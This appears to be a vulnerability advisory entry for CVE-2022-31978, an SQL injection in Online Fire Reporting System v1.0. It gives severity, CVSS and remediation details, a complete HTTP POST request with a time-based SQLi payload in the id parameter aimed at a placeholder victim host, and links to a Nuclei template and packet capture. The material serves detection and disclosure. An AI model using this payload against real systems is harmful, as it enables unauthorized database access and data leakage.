| Title | Online Fire Reporting System v1.0 - SQL injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. |
| CVSS Score | 9.8 |
| EPSS Score | 0.48185 |
| CVE ID | CVE-2022-31978 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 sqli online-fire-reporting online_fire_reporting_system_project vuln |
Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=delete_inquiry.
POST /classes/Master.php?f=delete_inquiry HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
id='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31978.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31978.pcap
N/AN/A